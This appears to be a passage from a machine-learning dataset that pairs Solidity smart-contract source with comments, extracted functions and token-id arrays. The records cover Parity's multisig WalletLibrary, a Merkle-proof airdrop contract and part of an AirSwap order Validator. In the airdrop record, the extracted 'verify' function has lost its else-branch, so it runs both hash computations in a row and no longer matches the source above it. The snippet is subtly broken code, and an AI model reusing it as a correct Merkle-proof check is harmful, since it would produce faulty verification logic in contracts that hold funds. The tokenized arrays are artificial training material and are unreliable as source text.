-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//! A Multi-signature, daily-limited account proxy/wallet library.
//!
//! Inheritable "property" contract that enables methods to be protected by
//! requiring the acquiescence of either a single, or, crucially, each of a
//! number of, designated owners.
//!
//! Usage: use modifiers onlyowner (just own owned) or onlymanyowners(hash),
//! whereby the same hash must be provided by some number (specified in
//! constructor) of the set of owners (specified in the constructor, modifiable)
//! before the interior is executed.
//!
//! Version: Parity fork 1.0
//!
//! Copyright 2016-17 Gavin Wood and Nicolas Gotchac, Parity Technologies Ltd.
//!
//! Licensed under the Apache License, Version 2.0 (the "License");
//! you may not use this file except in compliance with the License.
//! You may obtain a copy of the License at
//!
//! http://www.apache.org/licenses/LICENSE-2.0
//!
//! Unless required by applicable law or agreed to in writing, software
//! distributed under the License is distributed on an "AS IS" BASIS,
//! WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//! See the License for the specific language governing permissions and
//! limitations under the License.
pragma solidity ^0.4.13;
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
modifier only_uninitialized {
require(m_numOwners == 0);
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function init_multiowned(address[] _owners, uint _required) only_uninitialized internal {
require(_required > 0);
require(_owners.length >= _required);
m_numOwners = _owners.length;
for (uint i = 0; i < _owners.length; ++i) {
m_owners[1 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired == 0) return;
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// inheritable "property" contract that enables methods to be protected by placing a linear limit (specifiable)
// on a particular resource per calendar day. is multiowned to allow the limit to be altered. resource that method
// uses is specified in the modifier.
contract daylimit is multiowned {
// METHODS
// constructor - stores initial daily limit and records the present day's index.
function init_daylimit(uint _limit) only_uninitialized internal {
m_dailyLimit = _limit;
m_lastDay = today();
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and
// returns true. otherwise just returns false.
function underLimit(uint _value) onlyowner internal returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
// Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).
event SingleTransact(address owner, uint value, address to, bytes data, address created);
// Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) public returns (bool o_success);
}
contract creator {
function doCreate(uint _value, bytes _code) internal returns (address o_addr) {
bool failed;
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
failed := iszero(extcodesize(o_addr))
}
require(!failed);
}
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract WalletLibrary is multisig, multiowned, daylimit, creator {
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function WalletLibrary() {
address[] owners;
owners.push(address(0x0));
init_wallet(owners, 1, 0);
}
function init_wallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized public {
init_daylimit(_daylimit);
init_multiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) onlyowner external returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
require(_to.call.value(_value)(_data));
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
return doCreate(_value, _code);
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) public returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
require(m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data));
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
} | multi-sig function modifier: the operation must have an intrinsic hash in order that later attempts can be realised as the same underlying operation and thus count as confirmations. | modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
| 1,737,680 | [
1,
7027,
17,
7340,
445,
9606,
30,
326,
1674,
1297,
1240,
392,
28871,
1651,
316,
1353,
716,
5137,
7531,
848,
506,
2863,
5918,
487,
326,
1967,
6808,
1674,
471,
12493,
1056,
487,
6932,
1012,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
20597,
1338,
9353,
995,
414,
12,
3890,
1578,
389,
7624,
13,
288,
203,
202,
202,
430,
261,
10927,
31151,
24899,
7624,
3719,
203,
1082,
202,
67,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Built by @nanexcool - 2020
pragma solidity ^0.5.15;
interface Chai {
function balanceOf(address who) external view returns (uint256 wad);
function transfer(address who, uint256 wad) external returns (bool ok);
}
contract AztecChaiAirdrop {
// all of these constants will one day be `immutable` ;)
Chai public constant chai = Chai(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215);
bytes32 public constant rootHash = 0x20162f371d4318f677b2dc93bdda3d26c72856293a2885c2b204f212082f0a62;
// expires Friday, January 24, 2020 12:00:00 AM GMT
uint256 public constant expires = 1579824000;
address public constant owner = 0x72BA1965320ab5352FD6D68235Cc3C5306a6FFA2;
uint256 public claimed;
mapping (address => uint256) public done;
function claim(bytes32[] calldata proof) external {
require(now < expires, "experiment is over!");
require(done[msg.sender] == 0, "claimed!");
require(verify(proof, msg.sender), "nope!");
done[msg.sender] = 1;
claimed++;
require(chai.transfer(msg.sender, 1 ether), "could not transfer chai");
}
// https://rstormsf.github.io/slides-merkleairdrop/#/14
function verify(bytes32[] memory proof, address who) public pure returns (bool) {
bytes32 computedHash = keccak256(abi.encodePacked(who));
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash < proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == rootHash;
}
function end() external {
require(now >= expires, "experiment is not over!");
require(msg.sender == owner, "you are not Mariano!");
chai.transfer(msg.sender, chai.balanceOf(address(this)));
}
} | ERROR: type should be string, got " https:rstormsf.github.io/slides-merkleairdrop/#/14" | function verify(bytes32[] memory proof, address who) public pure returns (bool) {
bytes32 computedHash = keccak256(abi.encodePacked(who));
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash < proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == rootHash;
}
| 12,771,678 | [
1,
4528,
30,
16114,
535,
21668,
18,
6662,
18,
1594,
19,
2069,
4369,
17,
6592,
15609,
1826,
7285,
759,
3461,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3929,
12,
3890,
1578,
8526,
3778,
14601,
16,
1758,
10354,
13,
1071,
16618,
1135,
261,
6430,
13,
288,
203,
3639,
1731,
1578,
8470,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
3350,
83,
10019,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
14601,
18,
2469,
31,
277,
27245,
288,
203,
5411,
1731,
1578,
14601,
1046,
273,
14601,
63,
77,
15533,
203,
203,
5411,
309,
261,
20307,
2310,
411,
14601,
1046,
13,
288,
203,
5411,
8470,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
20307,
2310,
16,
14601,
1046,
10019,
203,
5411,
8470,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
24207,
1046,
16,
8470,
2310,
10019,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
327,
8470,
2310,
422,
1365,
2310,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.10;
pragma experimental ABIEncoderV2;
import "@airswap/types/contracts/Types.sol";
import "openzeppelin-solidity/contracts/introspection/ERC165Checker.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/token/ERC721/IERC721.sol";
import "@airswap/tokens/contracts/interfaces/IERC1155.sol";
import "@airswap/swap/contracts/interfaces/ISwap.sol";
import "@airswap/transfers/contracts/TransferHandlerRegistry.sol";
import "@airswap/tokens/contracts/interfaces/IWETH.sol";
import "@airswap/tokens/contracts/interfaces/IAdaptedKittyERC721.sol";
import "@airswap/delegate/contracts/interfaces/IDelegate.sol";
/**
* @title Validator: Helper contract to Swap protocol
* @notice contains several helper methods that check whether
* a Swap.order is well-formed and counterparty criteria is met
*/
contract Validator {
using ERC165Checker for address;
bytes internal constant DOM_NAME = "SWAP";
bytes internal constant DOM_VERSION = "2";
bytes4 internal constant ERC1155_INTERFACE_ID = 0xd9b67a26;
bytes4 internal constant ERC721_INTERFACE_ID = 0x80ac58cd;
bytes4 internal constant ERC20_INTERFACE_ID = 0x36372b07;
bytes4 internal constant CK_INTERFACE_ID = 0x9a20483d;
IWETH public wethContract;
// size of fixed array that holds max returning error messages
uint256 internal constant MAX_ERROR_COUNT = 25;
// size of fixed array that holds errors from delegate contract checks
uint256 internal constant MAX_DELEGATE_ERROR_COUNT = 10;
/**
* @notice Contract Constructor
* @param validatorWethContract address
*/
constructor(address validatorWethContract) public {
wethContract = IWETH(validatorWethContract);
}
/**
* @notice If order is going through wrapper to a delegate
* @param order Types.Order
* @param delegate IDelegate
* @param wrapper address
* @return uint256 errorCount if any
* @return bytes32[] memory array of error messages
*/
function checkWrappedDelegate(
Types.Order calldata order,
IDelegate delegate,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
(
uint256 delegateErrorCount,
bytes32[] memory delegateErrors
) = coreDelegateChecks(order, delegate);
if (delegateErrorCount > 0) {
// copies over errors from coreDelegateChecks
for (uint256 i = 0; i < delegateErrorCount; i++) {
errors[i + errorCount] = delegateErrors[i];
}
errorCount += delegateErrorCount;
}
// Check valid token registry handler for sender
if (order.sender.kind == ERC20_INTERFACE_ID) {
// Check the order sender balance and allowance
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
// Check their approval
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
// Check valid token registry handler for signer
if (order.signer.kind == ERC20_INTERFACE_ID) {
if (order.signer.token != address(wethContract)) {
// Check the order signer token balance
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
} else {
if ((order.signer.wallet).balance < order.signer.amount) {
errors[errorCount] = "SIGNER_ETHER_LOW";
errorCount++;
}
}
// Check their approval
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
// ensure that sender wallet if receiving weth has approved
// the wrapper to transfer weth and deliver eth to the sender
if (order.sender.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.signer.wallet, wrapper);
if (allowance < order.sender.amount) {
errors[errorCount] = "SIGNER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
return (errorCount, errors);
}
/**
* @notice If order is going through wrapper to swap
* @param order Types.Order
* @param fromAddress address
* @param wrapper address
* @return uint256 errorCount if any
* @return bytes32[] memory array of error messages
*/
function checkWrappedSwap(
Types.Order calldata order,
address fromAddress,
address wrapper
) external view returns (uint256, bytes32[] memory) {
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
if (order.sender.wallet != fromAddress) {
errors[errorCount] = "MSG_SENDER_MUST_BE_ORDER_SENDER";
errorCount++;
}
// ensure that sender has approved wrapper contract on swap
if (
swap != address(0x0) &&
!ISwap(swap).senderAuthorizations(order.sender.wallet, wrapper)
) {
errors[errorCount] = "SENDER_UNAUTHORIZED";
errorCount++;
}
// signature must be filled in order to use the Wrapper
if (order.signature.v == 0) {
errors[errorCount] = "SIGNATURE_MUST_BE_SENT";
errorCount++;
}
// if sender has WETH token, ensure sufficient ETH balance
if (order.sender.token == address(wethContract)) {
if ((order.sender.wallet).balance < order.sender.amount) {
errors[errorCount] = "SENDER_ETHER_LOW";
errorCount++;
}
}
// ensure that sender wallet if receiving weth has approved
// the wrapper to transfer weth and deliver eth to the sender
if (order.signer.token == address(wethContract)) {
uint256 allowance = wethContract.allowance(order.sender.wallet, wrapper);
if (allowance < order.signer.amount) {
errors[errorCount] = "SENDER_WRAPPER_ALLOWANCE_LOW";
errorCount++;
}
}
// Check valid token registry handler for sender
if (hasValidKind(order.sender.kind, swap)) {
// Check the order sender
if (order.sender.wallet != address(0)) {
// The sender was specified
// Check if sender kind interface can correctly check balance
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
} else {
// Check the order sender token balance when sender is not WETH
if (order.sender.token != address(wethContract)) {
//do the balance check
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
}
// Check their approval
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
} else {
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
// Check valid token registry handler for signer
if (hasValidKind(order.signer.kind, swap)) {
// Check if signer kind interface can correctly check balance
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
} else {
// Check the order signer token balance
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
// Check their approval
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
} else {
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
return (errorCount, errors);
}
/**
* @notice Takes in an order and outputs any
* errors that Swap would revert on
* @param order Types.Order Order to settle
* @return uint256 errorCount if any
* @return bytes32[] memory array of error messages
*/
function checkSwap(Types.Order memory order)
public
view
returns (uint256, bytes32[] memory)
{
address swap = order.signature.validator;
(uint256 errorCount, bytes32[] memory errors) = coreSwapChecks(order);
// Check valid token registry handler for sender
if (hasValidKind(order.sender.kind, swap)) {
// Check the order sender
if (order.sender.wallet != address(0)) {
// The sender was specified
// Check if sender kind interface can correctly check balance
if (!hasValidInterface(order.sender.token, order.sender.kind)) {
errors[errorCount] = "SENDER_TOKEN_KIND_MISMATCH";
errorCount++;
} else {
// Check the order sender token balance
//do the balance check
if (!hasBalance(order.sender)) {
errors[errorCount] = "SENDER_BALANCE_LOW";
errorCount++;
}
// Check their approval
if (!isApproved(order.sender, swap)) {
errors[errorCount] = "SENDER_ALLOWANCE_LOW";
errorCount++;
}
}
}
} else {
errors[errorCount] = "SENDER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
// Check valid token registry handler for signer
if (hasValidKind(order.signer.kind, swap)) {
// Check if signer kind interface can correctly check balance
if (!hasValidInterface(order.signer.token, order.signer.kind)) {
errors[errorCount] = "SIGNER_TOKEN_KIND_MISMATCH";
errorCount++;
} else {
// Check the order signer token balance
if (!hasBalance(order.signer)) {
errors[errorCount] = "SIGNER_BALANCE_LOW";
errorCount++;
}
// Check their approval
if (!isApproved(order.signer, swap)) {
errors[errorCount] = "SIGNER_ALLOWANCE_LOW";
errorCount++;
}
}
} else {
errors[errorCount] = "SIGNER_TOKEN_KIND_UNKNOWN";
errorCount++;
}
